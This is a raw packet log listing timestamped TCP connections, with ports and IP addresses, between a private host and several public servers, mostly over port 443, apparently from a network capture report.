Nov 11, 2024 19:52:19.734683990 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.735450029 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.735460043 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.737114906 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.737143040 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.737293005 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.738017082 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.738019943 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.738030910 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.738035917 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.738109112 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.738773108 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.738780975 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.739392042 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.739404917 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.739837885 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.740171909 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:19.740185022 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:19.777630091 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:19.783615112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:19.798216105 CET	49703	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:52:19.803559065 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:19.803565025 CET	443	49770	18.65.39.28	192.168.2.5
Nov 11, 2024 19:52:20.001830101 CET	49770	443	192.168.2.5	18.65.39.28
Nov 11, 2024 19:52:20.023525000 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.023547888 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.026284933 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.027040005 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.027056932 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.169333935 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:20.210755110 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.211334944 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.215981960 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.216000080 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.216727018 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.216732979 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.254431009 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.255383015 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.255398035 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.255480051 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.264624119 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.264638901 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.265131950 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.265136003 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.265480042 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.265486956 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.265963078 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.265966892 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.266208887 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.266223907 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.266570091 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.266576052 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.267071009 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.267071962 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.267090082 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.267092943 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.305216074 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.305906057 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.305998087 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.307771921 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.307771921 CET	49778	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.307784081 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.307800055 CET	443	49778	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.311233044 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.311266899 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.311445951 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.311707973 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.311722994 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.354578972 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.354692936 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.354784966 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.354796886 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.354921103 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.354921103 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.355453014 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.355534077 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.356009007 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.356578112 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.356626987 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.356709003 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.365202904 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.365222931 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.365561008 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.371112108 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.371155977 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.371181965 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.408690929 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408720970 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408732891 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408756971 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408766031 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408772945 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408826113 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:20.408847094 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.408889055 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:20.408935070 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:20.409502983 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.409512043 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.409579992 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:20.409589052 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.457830906 CET	443	49756	52.149.20.212	192.168.2.5
Nov 11, 2024 19:52:20.460278988 CET	49756	443	192.168.2.5	52.149.20.212
Nov 11, 2024 19:52:20.471930981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:20.472039938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:20.629959106 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.667099953 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.673152924 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.673170090 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.673685074 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.673697948 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.673722982 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.673763037 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.673772097 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.673811913 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.674412012 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.678854942 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.678930998 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.680922985 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.680932999 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.709567070 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.709578037 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.733242035 CET	49782	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.733266115 CET	443	49782	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.735394955 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.735411882 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.735421896 CET	49781	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.735430002 CET	443	49781	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.736167908 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.736174107 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.736224890 CET	49780	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.736231089 CET	443	49780	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.739423037 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.739432096 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.739442110 CET	49783	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.739447117 CET	443	49783	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.741236925 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.741297007 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.755740881 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.755759001 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.755789995 CET	49758	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.755795002 CET	443	49758	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.849276066 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.849342108 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.849364042 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.851913929 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.851975918 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.851984024 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.855808020 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.855846882 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.855910063 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.857803106 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.857877016 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.857889891 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.863852024 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.863924980 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.863933086 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.869746923 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.869925976 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.869980097 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.869988918 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.875624895 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.875674963 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.875684023 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.878601074 CET	49794	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.878609896 CET	443	49794	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.879686117 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.879712105 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.880204916 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.880211115 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.881448984 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.881498098 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.881505966 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.887399912 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.887444973 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.887453079 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.922125101 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:20.922141075 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:20.922184944 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:20.922449112 CET	49795	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:20.922458887 CET	443	49795	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:20.923099995 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:20.923135042 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:20.923290968 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:20.923566103 CET	49796	443	192.168.2.5	162.159.61.3
Nov 11, 2024 19:52:20.923578024 CET	443	49796	162.159.61.3	192.168.2.5
Nov 11, 2024 19:52:20.928561926 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.928586960 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.928699017 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.929477930 CET	49797	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:20.929486036 CET	443	49797	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:20.930027962 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.930078030 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.930083990 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.933012009 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.933063984 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.933069944 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.938615084 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.938657999 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.938669920 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.945050955 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.948517084 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.948525906 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.950481892 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.950545073 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.950551033 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.956285954 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.956396103 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.956403017 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.960105896 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.960120916 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.960299015 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.962922096 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.963112116 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.963119030 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.969861984 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.969908953 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.969918013 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.971703053 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.971751928 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:20.971987963 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:20.974339008 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.974378109 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.974385023 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.979619980 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.979670048 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.979677916 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.985805988 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.989226103 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.989236116 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.989808083 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.989852905 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.989860058 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.994963884 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:20.995179892 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:20.995188951 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.000127077 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.000176907 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.000185013 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.005115986 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.005172014 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.005181074 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.007392883 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.007422924 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.007914066 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.008583069 CET	49798	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.008596897 CET	443	49798	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.010276079 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.010303974 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.010334015 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.010343075 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.010370016 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.015372038 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.018898010 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.018928051 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.018979073 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.018985987 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.019018888 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.019692898 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.019702911 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.019712925 CET	49788	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.019717932 CET	443	49788	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.021773100 CET	49800	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.021781921 CET	443	49800	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.022440910 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.025517941 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.025551081 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.025623083 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.025634050 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.025667906 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.028727055 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.029624939 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.029659033 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.030082941 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.030525923 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.030540943 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.030703068 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.031068087 CET	49801	443	192.168.2.5	172.64.41.3
Nov 11, 2024 19:52:21.031083107 CET	443	49801	172.64.41.3	192.168.2.5
Nov 11, 2024 19:52:21.031116962 CET	49802	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.031124115 CET	443	49802	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.031989098 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.032021999 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.032084942 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.032095909 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.032125950 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.035398006 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.037419081 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.037431002 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.037473917 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.037612915 CET	49803	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:21.037616014 CET	443	49803	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:21.038393974 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.038423061 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.038450003 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.038458109 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.038497925 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.041632891 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.044806004 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.044832945 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.044862032 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.044869900 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.044907093 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.047880888 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.051331997 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.051361084 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.051407099 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.051415920 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.051445961 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.052910089 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.052933931 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.053093910 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.054528952 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.055835009 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:21.055855036 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:21.058119059 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.058146954 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.058182001 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.058192015 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.058229923 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.061043978 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.064014912 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.064060926 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.064069033 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.067198992 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.067234993 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.067293882 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.067301989 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.067332983 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.070612907 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.073776960 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.073810101 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.073822975 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.073832989 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.073869944 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.076910973 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.080007076 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.080111027 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.080152988 CET	49785	443	192.168.2.5	142.250.186.129
Nov 11, 2024 19:52:21.080167055 CET	443	49785	142.250.186.129	192.168.2.5
Nov 11, 2024 19:52:21.080204964 CET	49785	443	192.168.2.5	142.250.186.129
